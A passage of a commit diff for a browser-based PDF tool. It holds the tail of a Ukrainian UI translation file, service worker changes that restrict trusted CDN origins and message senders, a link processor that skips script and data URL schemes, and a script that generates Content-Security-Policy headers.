"jsonToPdf": {
"name": "JSON у PDF",
"subtitle": "Конвертувати JSON-файли у формат PDF."
},
"pdfToJpg": {
"name": "PDF у JPG",
"subtitle": "Конвертувати кожну сторінку PDF у зображення JPG.",
"imageQuality": "Якість зображення",
"imageQualityExplanation": "Вища якість = більший розмір файлу",
"alert": {
"invalidFile": "Невірний файл",
"invalidFileExplanation": "Будь ласка, завантажте PDF-файл.",
"noFile": "Файл відсутній",
"noFileExplanation": "Спочатку завантажте PDF-файл.",
"conversionSuccess": "PDF успішно конвертовано у JPG!",
"conversionError": "Не вдалося конвертувати PDF у JPG. Можливо, файл пошкоджений."
},
"loader": {
"converting": "Конвертація у JPG..."
}
},
"pdfToPng": {
"name": "PDF у PNG",
"subtitle": "Конвертувати кожну сторінку PDF у зображення PNG.",
"imageScale": "Масштаб зображення",
"imageScaleExplanation": "Більший масштаб = краща якість, але більший розмір файлу",
"alert": {
"invalidFile": "Невірний файл",
"invalidFileExplanation": "Будь ласка, завантажте PDF-файл.",
"noFile": "Файл відсутній",
"noFileExplanation": "Спочатку завантажте PDF-файл.",
"conversionSuccess": "PDF успішно конвертовано у PNG!",
"conversionError": "Не вдалося конвертувати PDF у PNG. Можливо, файл пошкоджений."
},
"loader": {
"converting": "Конвертація у PNG..."
}
},
"pdfToWebp": {
"name": "PDF у WebP",
"subtitle": "Конвертувати кожну сторінку PDF у зображення WebP.",
"imageQuality": "Якість зображення",
"imageQualityExplanation": "Вища якість = більший розмір файлу",
"alert": {
"invalidFile": "Невірний файл",
"invalidFileExplanation": "Будь ласка, завантажте PDF-файл.",
"noFile": "Файл відсутній",
"noFileExplanation": "Спочатку завантажте PDF-файл.",
"conversionSuccess": "PDF успішно конвертовано у WebP!",
"conversionError": "Не вдалося конвертувати PDF у WebP. Можливо, файл пошкоджений."
},
"loader": {
"converting": "Конвертація у WebP..."
}
},
"pdfToBmp": {
"name": "PDF у BMP",
"subtitle": "Конвертувати кожну сторінку PDF у зображення BMP.",
"alert": {
"invalidFile": "Невірний файл",
"invalidFileExplanation": "Будь ласка, завантажте PDF-файл.",
"noFile": "Файл відсутній",
"noFileExplanation": "Спочатку завантажте PDF-файл.",
"conversionSuccess": "PDF успішно конвертовано у BMP!",
"conversionError": "Не вдалося конвертувати PDF у BMP. Можливо, файл пошкоджений."
},
"loader": {
"converting": "Конвертація у BMP..."
}
},
"pdfToTiff": {
"name": "PDF у TIFF",
"subtitle": "Конвертувати кожну сторінку PDF у зображення TIFF.",
"dpi": "DPI (роздільна здатність)",
"dpiExplanation": "Вищий DPI = краща якість для друку, але більший розмір файлу",
"compression": "Стиснення",
"compressionExplanation": "LZW і Deflate — без втрат. CCITT Group 4 — найкращий для чорно-білих сканованих документів.",
"colorMode": "Колірний режим",
"multiPage": "Зберегти як багатосторінковий TIFF (один файл)",
"loadingVips": "Завантаження обробника зображень...",
"converting": "Конвертація у TIFF...",
"alert": {
"invalidFile": "Невірний файл",
"invalidFileExplanation": "Будь ласка, завантажте PDF-файл.",
"noFile": "Файл відсутній",
"noFileExplanation": "Спочатку завантажте PDF-файл.",
"conversionSuccess": "PDF успішно конвертовано у TIFF!",
"conversionError": "Не вдалося конвертувати PDF у TIFF. Можливо, файл пошкоджений."
}
},
"pdfToCbz": {
"name": "PDF у CBZ",
"subtitle": "Конвертувати PDF у файл CBZ (архів коміксів) для читання у відповідних програмах.",
"imageFormat": "Формат зображення",
"quality": "Якість зображення",
"qualityExplanation": "Вища якість = більший розмір файлу",
"scale": "Масштаб",
"scaleExplanation": "Більший масштаб = краща якість для екранів з високою роздільною здатністю",
"grayscale": "Перетворити у відтінки сірого",
"manga": "Режим манґи (справа наліво)",
"includeMetadata": "Додати метадані ComicInfo.xml",
"titleLabel": "Назва",
"seriesLabel": "Серія",
"authorLabel": "Автор(и)",
"numberLabel": "№",
"volumeLabel": "Том",
"publisherLabel": "Видавець",
"tagsLabel": "Теги / Жанр",
"yearLabel": "Рік видання",
"ratingLabel": "Оцінка (0-5)",
"converting": "Конвертація у CBZ...",
"alert": {
"invalidFile": "Невірний файл",
"invalidFileExplanation": "Будь ласка, завантажте PDF-файл.",
"noFile": "Файл відсутній",
"noFileExplanation": "Спочатку завантажте PDF-файл.",
"conversionSuccess": "PDF успішно конвертовано у CBZ!",
"conversionError": "Не вдалося конвертувати PDF у CBZ. Можливо, файл пошкоджений."
}
},
"pdfToGreyscale": {
"name": "PDF у відтінки сірого",
"subtitle": "Перетворити всі кольори у чорно-білий формат."
},
"pdfToJson": {
"name": "PDF у JSON",
"subtitle": "Конвертувати PDF-файли у формат JSON."
},
"ocrPdf": {
"name": "OCR PDF",
"subtitle": "Зробити PDF доступним для пошуку та копіювання тексту."
},
"alternateMix": {
"name": "Чергування та змішування сторінок",
"subtitle": "Об’єднати PDF, чергуючи сторінки з кожного файлу. Закладки зберігаються."
},
"addAttachments": {
"name": "Додати вкладення",
"subtitle": "Вбудувати один або кілька файлів у PDF."
},
"extractAttachments": {
"name": "Витяг вкладень",
"subtitle": "Витягнути всі вкладені файли з PDF у ZIP-архів."
},
"editAttachments": {
"name": "Редагувати вкладення",
"subtitle": "Переглядати або видаляти вкладення у PDF."
},
"dividePages": {
"name": "Розділити сторінки",
"subtitle": "Розділити сторінки горизонтально або вертикально."
},
"addBlankPage": {
"name": "Додати порожню сторінку",
"subtitle": "Вставити порожню сторінку в будь-яке місце PDF."
},
"reversePages": {
"name": "Зворотний порядок сторінок",
"subtitle": "Змінити порядок усіх сторінок на зворотний."
},
"rotatePdf": {
"name": "Повернути PDF",
"subtitle": "Повернути сторінки на 90 градусів."
},
"rotateCustom": {
"name": "Повернути на довільний кут",
"subtitle": "Повернути сторінки на будь-який кут."
},
"nUpPdf": {
"name": "N-Up PDF",
"subtitle": "Розмістити кілька сторінок на одному аркуші."
},
"combineToSinglePage": {
"name": "Об’єднати в одну сторінку",
"subtitle": "Зшити всі сторінки в один безперервний документ."
},
"viewMetadata": {
"name": "Перегляд метаданих",
"subtitle": "Переглянути приховані властивості PDF."
},
"editMetadata": {
"name": "Редагувати метадані",
"subtitle": "Змінити автора, назву та інші властивості."
},
"pdfsToZip": {
"name": "PDF у ZIP",
"subtitle": "Запакувати кілька PDF-файлів у ZIP-архів."
},
"comparePdfs": {
"name": "Порівняти PDF",
"subtitle": "Порівняти два PDF поруч.",
"firstPdf": "Перший PDF",
"secondPdf": "Другий PDF",
"clickOrDrop": "Натисніть або перетягніть",
"page": "Сторінка",
"overlay": "Накладання",
"sideBySide": "Поруч",
"flicker": "Миготіння",
"syncScroll": "Синхронізація прокрутки",
"export": "Експортувати",
"exportAsPdf": "Експортувати у PDF",
"splitView": "Розділений перегляд",
"alternating": "Чергування",
"leftDocument": "Лівий документ",
"rightDocument": "Правий документ",
"original": "Оригінал",
"modified": "Змінений",
"searchChanges": "Пошук змін...",
"deleted": "Видалено",
"added": "Додано",
"prevPage": "Попередня сторінка",
"nextPage": "Наступна сторінка",
"prevChange": "Попередня зміна",
"nextChange": "Наступна зміна",
"uploadTwoPdfs": "Завантажте два PDF для порівняння.",
"noDifferences": "На цій сторінці відмінностей не знайдено.",
"noMatchingChanges": "Немає змін, що відповідають фільтру.",
"pageNotExist": "Сторінка {{page}} не існує у цьому PDF.",
"noPairedPage": "Немає відповідної сторінки для цього боку.",
"buildingModel": "Формування моделі відповідності сторінок...",
"indexingPdf": "Індексація PDF {{num}}, сторінка {{page}} з {{total}}...",
"loadingComparison": "Завантаження порівняння {{current}} з {{total}}...",
"runningOcr": "Виконання OCR для сторінки {{page}}...",
"preparingExport": "Підготовка експорту PDF...",
"renderingPage": "Рендеринг сторінки {{current}} з {{total}}...",
"exportError": "Помилка експорту",
"exportFailed": "Не вдалося експортувати PDF порівняння.",
"loadingFile": "Завантаження {{name}}...",
"invalidFile": "Невірний файл",
"invalidFileMsg": "Будь ласка, виберіть коректний PDF-файл.",
"loadError": "Не вдалося завантажити PDF. Можливо, файл пошкоджений або захищений."
},
"posterizePdf": {
"name": "Постеризація PDF",
"subtitle": "Розділити велику сторінку на кілька менших."
},
"fixPageSize": {
"name": "Вирівняти розмір сторінок",
"subtitle": "Привести всі сторінки до єдиного розміру."
},
"linearizePdf": {
"name": "Лінеаризація PDF",
"subtitle": "Оптимізувати PDF для швидкого перегляду в браузері."
},
"pageDimensions": {
"name": "Розміри сторінок",
"subtitle": "Аналіз розміру, орієнтації та одиниць виміру сторінок."
},
"removeRestrictions": {
"name": "Зняти обмеження",
"subtitle": "Видалити пароль та обмеження доступу, пов’язані з підписаними PDF."
},
"repairPdf": {
"name": "Відновити PDF",
"subtitle": "Відновити дані з пошкоджених PDF-файлів."
},
"encryptPdf": {
"name": "Зашифрувати PDF",
"subtitle": "Захистити PDF паролем."
},
"sanitizePdf": {
"name": "Очистити PDF",
"subtitle": "Видалити метадані, анотації, скрипти та інше."
},
"decryptPdf": {
"name": "Розблокувати PDF",
"subtitle": "Видалити пароль і зняти захист PDF."
},
"flattenPdf": {
"name": "Сплющити PDF",
"subtitle": "Зробити поля форм і анотації нередагованими."
},
"removeMetadata": {
"name": "Видалити метадані",
"subtitle": "Видалити приховану інформацію з PDF."
},
"changePermissions": {
"name": "Змінити дозволи",
"subtitle": "Налаштувати або змінити права доступу до PDF."
},
"odtToPdf": {
"name": "ODT у PDF",
"subtitle": "Конвертувати текстові файли OpenDocument (ODT) у PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли ODT",
"convertButton": "Конвертувати у PDF"
},
"csvToPdf": {
"name": "CSV у PDF",
"subtitle": "Конвертувати CSV-файли у PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли CSV",
"convertButton": "Конвертувати у PDF"
},
"rtfToPdf": {
"name": "RTF у PDF",
"subtitle": "Конвертувати документи Rich Text Format у PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли RTF",
"convertButton": "Конвертувати у PDF"
},
"wordToPdf": {
"name": "Word у PDF",
"subtitle": "Конвертувати документи Word (DOCX, DOC, ODT, RTF) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли DOCX, DOC, ODT, RTF",
"convertButton": "Конвертувати у PDF"
},
"excelToPdf": {
"name": "Excel у PDF",
"subtitle": "Конвертувати електронні таблиці Excel (XLSX, XLS, ODS, CSV) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли XLSX, XLS, ODS, CSV",
"convertButton": "Конвертувати у PDF"
},
"powerpointToPdf": {
"name": "PowerPoint у PDF",
"subtitle": "Конвертувати презентації PowerPoint (PPTX, PPT, ODP) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли PPTX, PPT, ODP",
"convertButton": "Конвертувати у PDF"
},
"markdownToPdf": {
"name": "Markdown у PDF",
"subtitle": "Напишіть або вставте Markdown і експортуйте його у красиво оформлений PDF.",
"paneMarkdown": "Markdown",
"panePreview": "Попередній перегляд",
"btnUpload": "Завантажити",
"btnSyncScroll": "Синхронізувати прокрутку",
"btnSettings": "Налаштування",
"btnExportPdf": "Експортувати у PDF",
"settingsTitle": "Налаштування Markdown",
"settingsPreset": "Пресет",
"presetDefault": "За замовчуванням (як GFM)",
"presetCommonmark": "CommonMark (строгий режим)",
"presetZero": "Мінімальний (без додаткових можливостей)",
"settingsOptions": "Параметри Markdown",
"optAllowHtml": "Дозволити HTML-теги",
"optBreaks": "Перетворювати нові рядки на <br>",
"optLinkify": "Автоматично перетворювати URL на посилання",
"optTypographer": "Типографіка (розумні лапки тощо)"
},
"pdfBooklet": {
"name": "PDF-буклет",
"subtitle": "Переставити сторінки для двостороннього друку буклету. Складіть і скріпіть, щоб отримати буклет.",
"howItWorks": "Як це працює:",
"step1": "Завантажте PDF-файл.",
"step2": "Сторінки будуть впорядковані у форматі буклету.",
"step3": "Друкуйте з двох сторін, перевертайте по короткому краю, складіть і скріпіть.",
"paperSize": "Розмір паперу",
"orientation": "Орієнтація",
"portrait": "Книжкова",
"landscape": "Альбомна",
"pagesPerSheet": "Сторінок на аркуші",
"createBooklet": "Створити буклет",
"processing": "Обробка...",
"pageCount": "Кількість сторінок буде доповнено до кратності 4 за потреби."
},
"xpsToPdf": {
"name": "XPS у PDF",
"subtitle": "Конвертувати документи XPS/OXPS у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли XPS, OXPS",
"convertButton": "Конвертувати у PDF"
},
"mobiToPdf": {
"name": "MOBI у PDF",
"subtitle": "Конвертувати електронні книги MOBI у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли MOBI",
"convertButton": "Конвертувати у PDF"
},
"epubToPdf": {
"name": "EPUB у PDF",
"subtitle": "Конвертувати електронні книги EPUB у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли EPUB",
"convertButton": "Конвертувати у PDF"
},
"fb2ToPdf": {
"name": "FB2 у PDF",
"subtitle": "Конвертувати електронні книги FictionBook (FB2) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли FB2",
"convertButton": "Конвертувати у PDF"
},
"cbzToPdf": {
"name": "CBZ у PDF",
"subtitle": "Конвертувати архіви коміксів (CBZ/CBR) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли CBZ, CBR",
"convertButton": "Конвертувати у PDF"
},
"wpdToPdf": {
"name": "WPD у PDF",
"subtitle": "Конвертувати документи WordPerfect (WPD) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли WPD",
"convertButton": "Конвертувати у PDF"
},
"wpsToPdf": {
"name": "WPS у PDF",
"subtitle": "Конвертувати документи WPS Office у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли WPS",
"convertButton": "Конвертувати у PDF"
},
"xmlToPdf": {
"name": "XML у PDF",
"subtitle": "Конвертувати документи XML у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли XML",
"convertButton": "Конвертувати у PDF"
},
"pagesToPdf": {
"name": "Pages у PDF",
"subtitle": "Конвертувати документи Apple Pages у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли Pages",
"convertButton": "Конвертувати у PDF"
},
"odgToPdf": {
"name": "ODG у PDF",
"subtitle": "Конвертувати графічні файли OpenDocument (ODG) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли ODG",
"convertButton": "Конвертувати у PDF"
},
"odsToPdf": {
"name": "ODS у PDF",
"subtitle": "Конвертувати електронні таблиці OpenDocument (ODS) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли ODS",
"convertButton": "Конвертувати у PDF"
},
"odpToPdf": {
"name": "ODP у PDF",
"subtitle": "Конвертувати презентації OpenDocument (ODP) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли ODP",
"convertButton": "Конвертувати у PDF"
},
"pubToPdf": {
"name": "PUB у PDF",
"subtitle": "Конвертувати файли Microsoft Publisher (PUB) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли PUB",
"convertButton": "Конвертувати у PDF"
},
"vsdToPdf": {
"name": "VSD у PDF",
"subtitle": "Конвертувати файли Microsoft Visio (VSD, VSDX) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли VSD, VSDX",
"convertButton": "Конвертувати у PDF"
},
"psdToPdf": {
"name": "PSD у PDF",
"subtitle": "Конвертувати файли Adobe Photoshop (PSD) у формат PDF. Підтримується обробка кількох файлів.",
"acceptedFormats": "Файли PSD",
"convertButton": "Конвертувати у PDF"
},
"pdfToSvg": {
"name": "PDF у SVG",
"subtitle": "Конвертувати кожну сторінку PDF у векторне зображення (SVG) із ідеальною якістю при будь-якому масштабі."
},
"extractTables": {
"name": "Витяг таблиць з PDF",
"subtitle": "Витягувати таблиці з PDF та експортувати у CSV, JSON або Markdown."
},
"pdfToCsv": {
"name": "PDF у CSV",
"subtitle": "Витягувати таблиці з PDF та конвертувати у формат CSV."
},
"pdfToExcel": {
"name": "PDF у Excel",
"subtitle": "Витягувати таблиці з PDF та конвертувати у формат Excel (XLSX)."
},
"pdfToText": {
"name": "PDF у текст",
"subtitle": "Витягувати текст із PDF та зберігати як звичайний текст (.txt). Підтримується обробка кількох файлів.",
"note": "Цей інструмент працює ТІЛЬКИ з PDF, створеними у цифровому вигляді. Для сканованих документів використовуйте OCR PDF.",
"convertButton": "Витягти текст"
},
"digitalSignPdf": {
"name": "Цифровий підпис PDF",
"pageTitle": "Цифровий підпис PDF — Додати криптографічний підпис | BentoPDF",
"subtitle": "Додайте криптографічний цифровий підпис до PDF за допомогою сертифікатів X.509. Підтримуються формати PKCS#12 (.pfx, .p12) та PEM. Ваш приватний ключ не покидає браузер.",
"certificateSection": "Сертифікат",
"uploadCert": "Завантажити сертифікат (.pfx, .p12)",
"certPassword": "Пароль сертифіката",
"certPasswordPlaceholder": "Введіть пароль сертифіката",
"certInfo": "Інформація про сертифікат",
"certSubject": "Власник",
"certIssuer": "Видавець",
"certValidity": "Термін дії",
"signatureDetails": "Деталі підпису (необов’язково)",
"reason": "Причина",
"reasonPlaceholder": "наприклад: Я погоджую цей документ",
"location": "Місце",
"locationPlaceholder": "наприклад: Київ, Україна",
"contactInfo": "Контактна інформація",
"contactPlaceholder": "наприклад: [email protected]",
"applySignature": "Застосувати цифровий підпис",
"successMessage": "PDF успішно підписано! Підпис можна перевірити у будь-якому PDF-переглядачі."
},
"validateSignaturePdf": {
"name": "Перевірка підпису PDF",
"pageTitle": "Перевірка підпису PDF — Перевірити цифрові підписи | BentoPDF",
"subtitle": "Перевіряйте цифрові підписи у PDF-файлах. Перевірка дійсності сертифіката, перегляд даних підписанта та підтвердження цілісності документа. Уся обробка відбувається у вашому браузері."
},
"timestampPdf": {
"name": "Мітка часу PDF",
"pageTitle": "Мітка часу PDF онлайн безкоштовно — RFC 3161 | BentoPDF",
"subtitle": "Додайте мітку часу RFC 3161 до PDF за допомогою довіреного сервера TSA (Time Stamp Authority). Підтверджує, що документ існував у певний момент часу. Сертифікат не потрібен.",
"tsaSectionTitle": "Сервер мітки часу (TSA)",
"selectTsa": "Оберіть TSA сервер",
"applyTimestamp": "Додати мітку часу",
"successMessage": "Мітку часу успішно додано! Її можна перевірити в Adobe Acrobat та інших PDF-переглядачах."
},
"emailToPdf": {
"name": "Email у PDF",
"subtitle": "Конвертувати файли електронної пошти (EML, MSG) у формат PDF. Підтримуються файли Outlook та стандартні формати email.",
"acceptedFormats": "Файли EML, MSG",
"convertButton": "Конвертувати у PDF"
},
"fontToOutline": {
"name": "Шрифти у контури",
"subtitle": "Перетворити всі шрифти у векторні контури для коректного відображення на будь-яких пристроях."
},
"deskewPdf": {
"name": "Вирівнювання PDF",
"subtitle": "Автоматично вирівнювати нахилені скановані сторінки за допомогою OpenCV."
},
"pdfToWord": {
"name": "PDF у Word",
"subtitle": "Конвертувати PDF у редаговані документи Word."
},
"extractImages": {
"name": "Витяг зображень",
"subtitle": "Витягнути всі вбудовані зображення з PDF-файлів."
},
"pdfToMarkdown": {
"name": "PDF у Markdown",
"subtitle": "Конвертувати текст і таблиці з PDF у формат Markdown."
},
"preparePdfForAi": {
"name": "Підготовка PDF для AI",
"subtitle": "Експортувати вміст PDF у формат LlamaIndex JSON для RAG/LLM пайплайнів."
},
"pdfOcg": {
"name": "PDF OCG",
"subtitle": "Переглядати, перемикати, додавати та видаляти шари OCG у PDF."
},
"pdfToPdfa": {
"name": "PDF у PDF/A",
"subtitle": "Конвертувати PDF у PDF/A для довготривалого архівування."
},
"rasterizePdf": {
"name": "Растеризація PDF",
"subtitle": "Перетворити PDF у PDF на основі зображень. Об'єднує шари та прибирає можливість виділення тексту."
},
"pdfWorkflow": {
"name": "Конструктор PDF-процесів",
"subtitle": "Створюйте власні пайплайни обробки PDF за допомогою візуального редактора вузлів.",
"nodes": "Вузли",
"searchNodes": "Пошук вузлів...",
"run": "Запустити",
"clear": "Очистити",
"save": "Зберегти",
"load": "Завантажити",
"export": "Експортувати",
"import": "Імпортувати",
"ready": "Готово",
"settings": "Налаштування",
"processing": "Обробка...",
"saveTemplate": "Зберегти шаблон",
"templateName": "Назва шаблону",
"templatePlaceholder": "наприклад: Обробка рахунків",
"cancel": "Скасувати",
"loadTemplate": "Завантажити шаблон",
"noTemplates": "Збережених шаблонів поки немає.",
"ok": "ОК",
"workflowCompleted": "Процес виконано",
"errorDuringExecution": "Помилка під час виконання",
"addNodeError": "Додайте хоча б один вузол для запуску процесу.",
"needInputOutput": "Процес має містити принаймні один вхідний та один вихідний вузол.",
"enterName": "Будь ласка, введіть назву.",
"templateExists": "Шаблон із такою назвою вже існує.",
"templateSaved": "Шаблон \"{{name}}\" збережено.",
"templateLoaded": "Шаблон \"{{name}}\" завантажено.",
"failedLoadTemplate": "Не вдалося завантажити шаблон.",
"noSettings": "Для цього вузла немає налаштувань.",
"advancedSettings": "Додаткові налаштування"
},
"pdfOverlay": {
"name": "Накладання PDF",
"subtitle": "Накласти або розмістити підкладкою сторінки одного PDF на інший.",
"basePdfLabel": "Основний PDF",
"uploadBasePdf": "Завантажити основний PDF",
"overlayPdfLabel": "PDF для накладання / підкладки",
"uploadOverlayPdf": "Завантажити PDF для накладання/підкладки",
"modeLabel": "Режим",
"overlayOption": "Накладання (поверх сторінок)",
"underlayOption": "Підкладка (під сторінками)",
"pageRangeLabel": "Застосувати до сторінок (необов’язково)",
"pageRangeHint": "Використовуйте \"z\" для останньої сторінки. Залиште порожнім для всіх сторінок.",
"repeatLabel": "Повторювати сторінки накладання/підкладки, якщо основний PDF довший",
"processButton": "Застосувати накладання / підкладку",
"howItWorksUploadTitle": "Завантажте два PDF",
"howItWorksUploadDescription": "Завантажте основний PDF і PDF, який потрібно накласти або використати як підкладку.",
"howItWorksModeTitle": "Оберіть режим",
"howItWorksModeDescription": "Оберіть накладання (поверх) або підкладку (під). За потреби задайте діапазон сторінок і повторення.",
"howItWorksDownloadTitle": "Завантаження",
"howItWorksDownloadDescription": "Завантажте PDF із застосованим накладанням або підкладкою.",
"faqDifferenceQuestion": "У чому різниця між накладанням і підкладкою?",
"faqDifferenceAnswer": "Накладання розміщує сторінки поверх основного PDF (як водяний знак). Підкладка — під основним PDF (як бланк або фон).",
"faqSinglePageQuestion": "Чи можна використати односторінковий PDF для всіх сторінок?",
"faqSinglePageAnswer": "Так! Увімкніть опцію «Повторювати», і сторінки накладання будуть застосовані до всіх сторінок. Один водяний знак — на всі сторінки.",
"faqPrivacyQuestion": "Чи безпечні мої файли?",
"faqPrivacyAnswer": "Так! Уся обробка відбувається у вашому браузері. Файли не покидають ваш пристрій."
}
}
+55 -12
View File
@@ -5,9 +5,11 @@
* Version: 1.1.0
*/
const CACHE_VERSION = 'bentopdf-v10';
const CACHE_VERSION = 'bentopdf-v11';
const CACHE_NAME = `${CACHE_VERSION}-static`;
const trustedCdnOrigins = new Set(['https://cdn.jsdelivr.net']);
const getBasePath = () => {
const scope = self.registration?.scope || self.location.href;
const url = new URL(scope);
@@ -67,7 +69,7 @@ self.addEventListener('activate', (event) => {
self.addEventListener('fetch', (event) => {
const url = new URL(event.request.url);
const isCDN = url.hostname === 'cdn.jsdelivr.net';
const isCDN = trustedCdnOrigins.has(url.origin);
const isLocal = url.origin === location.origin;
if (!isLocal && !isCDN) {
@@ -220,11 +222,9 @@ async function removeDuplicateCache(cache, fileName, isCDN) {
for (const req of requests) {
const reqUrl = new URL(req.url);
if (reqUrl.pathname.endsWith(fileName)) {
// If caching CDN version, remove local version (and vice versa)
const reqIsCDN = reqUrl.hostname === 'cdn.jsdelivr.net';
const reqIsCDN = trustedCdnOrigins.has(reqUrl.origin);
if (reqIsCDN !== isCDN) {
await cache.delete(req);
// console.log(`[Dedup] Removed ${reqIsCDN ? 'CDN' : 'local'} version of:`, fileName);
}
}
}
@@ -280,13 +280,16 @@ function getLocalPathForCDNUrl(pathname) {
* Determine if a URL should be cached
* Handles both local and CDN URLs
*/
const CACHEABLE_EXTENSIONS =
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/;
function shouldCache(pathname, isCDN = false) {
if (isCDN) {
return (
pathname.includes('/@bentopdf/pymupdf-wasm') ||
pathname.includes('/@bentopdf/gs-wasm') ||
pathname.includes('/@matbee/libreoffice-converter') ||
pathname.match(/\.(wasm|whl|zip|json|js|gz)$/)
CACHEABLE_EXTENSIONS.test(pathname)
);
}
@@ -294,9 +297,7 @@ function shouldCache(pathname, isCDN = false) {
pathname.includes('/libreoffice-wasm/') ||
pathname.includes('/embedpdf/') ||
pathname.includes('/assets/') ||
pathname.match(
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/
)
CACHEABLE_EXTENSIONS.test(pathname)
);
}
@@ -327,16 +328,58 @@ async function cacheInBatches(cache, urls, batchSize = 5) {
}
self.addEventListener('message', (event) => {
if (event.data && event.data.type === 'SKIP_WAITING') {
self.skipWaiting();
if (!event.data) return;
if (event.origin && event.origin !== self.location.origin) {
return;
}
if (event.data && event.data.type === 'CLEAR_CACHE') {
const source = event.source;
if (source && typeof source === 'object' && 'url' in source) {
try {
const sourceOrigin = new URL(source.url).origin;
if (sourceOrigin !== self.location.origin) {
return;
}
} catch (e) {
return;
}
}
if (event.data.type === 'SKIP_WAITING') {
self.skipWaiting();
return;
}
if (event.data.type === 'CLEAR_CACHE') {
event.waitUntil(
caches.delete(CACHE_NAME).then(() => {
console.log('[ServiceWorker] Cache cleared');
})
);
return;
}
if (
event.data.type === 'SET_TRUSTED_CDN_HOSTS' &&
Array.isArray(event.data.hosts)
) {
for (const origin of event.data.hosts) {
if (typeof origin !== 'string') continue;
try {
const parsed = new URL(origin);
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
continue;
}
trustedCdnOrigins.add(parsed.origin);
} catch (e) {
console.warn(
'[ServiceWorker] Ignoring malformed trusted-host origin:',
origin,
e
);
}
}
}
});
+3 -1
View File
@@ -145,7 +145,9 @@ function processFileForLanguage(
href.startsWith('#') ||
href.startsWith('mailto:') ||
href.startsWith('tel:') ||
href.startsWith('javascript:')
href.startsWith('javascript:') ||
href.startsWith('data:') ||
href.startsWith('vbscript:')
) {
return;
}
+110
View File
@@ -0,0 +1,110 @@
#!/usr/bin/env node
import { writeFileSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..');
function originOf(urlStr) {
if (!urlStr) return null;
try {
const u = new URL(urlStr);
if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
return `${u.protocol}//${u.host}`;
} catch {
return null;
}
}
function uniq(values) {
return Array.from(new Set(values.filter(Boolean)));
}
const DEFAULT_WASM_ORIGINS = {
pymupdf: 'https://cdn.jsdelivr.net',
gs: 'https://cdn.jsdelivr.net',
cpdf: 'https://cdn.jsdelivr.net',
};
const DEFAULT_CORS_PROXY_ORIGIN =
'https://bentopdf-cors-proxy.bentopdf.workers.dev';
const wasmOrigins = [
originOf(process.env.VITE_WASM_PYMUPDF_URL) || DEFAULT_WASM_ORIGINS.pymupdf,
originOf(process.env.VITE_WASM_GS_URL) || DEFAULT_WASM_ORIGINS.gs,
originOf(process.env.VITE_WASM_CPDF_URL) || DEFAULT_WASM_ORIGINS.cpdf,
];
const tesseractOrigins = uniq([
originOf(process.env.VITE_TESSERACT_WORKER_URL),
originOf(process.env.VITE_TESSERACT_CORE_URL),
originOf(process.env.VITE_TESSERACT_LANG_URL),
]);
const corsProxyOrigin =
originOf(process.env.VITE_CORS_PROXY_URL) || DEFAULT_CORS_PROXY_ORIGIN;
const ocrFontOrigin = originOf(process.env.VITE_OCR_FONT_BASE_URL);
const scriptOrigins = uniq([...wasmOrigins, ...tesseractOrigins]);
const connectOrigins = uniq([
...wasmOrigins,
...tesseractOrigins,
corsProxyOrigin,
]);
const fontOrigins = uniq([ocrFontOrigin].filter(Boolean));
const directives = [
`default-src 'self'`,
`script-src 'self' 'wasm-unsafe-eval' 'unsafe-eval' blob: ${scriptOrigins.join(' ')}`.trim(),
`worker-src 'self' blob:`,
`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com`,
`img-src 'self' data: blob: https:`,
`font-src 'self' data: https://fonts.gstatic.com ${fontOrigins.join(' ')}`.trim(),
`connect-src 'self' blob: https://api.github.com https://fonts.gstatic.com ${connectOrigins.join(' ')}`.trim(),
`object-src 'none'`,
`base-uri 'self'`,
`frame-src 'self' blob:`,
`frame-ancestors 'self'`,
`form-action 'self'`,
];
const docsDirectives = [
`default-src 'self'`,
`script-src 'self' 'unsafe-inline' ${scriptOrigins.join(' ')}`.trim(),
`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com`,
`img-src 'self' data: blob: https:`,
`font-src 'self' data: https://fonts.gstatic.com ${fontOrigins.join(' ')}`.trim(),
`connect-src 'self' https://api.github.com https://fonts.gstatic.com ${connectOrigins.join(' ')}`.trim(),
`object-src 'none'`,
`base-uri 'self'`,
`frame-ancestors 'self'`,
`form-action 'self'`,
];
const csp = directives.join('; ');
const docsCsp = docsDirectives.join('; ');
const commonHeaders = `add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=(), microphone=(), payment=(), usb=(), interest-cohort=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "credentialless" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
`;
const contents = `add_header Content-Security-Policy "${csp}" always;
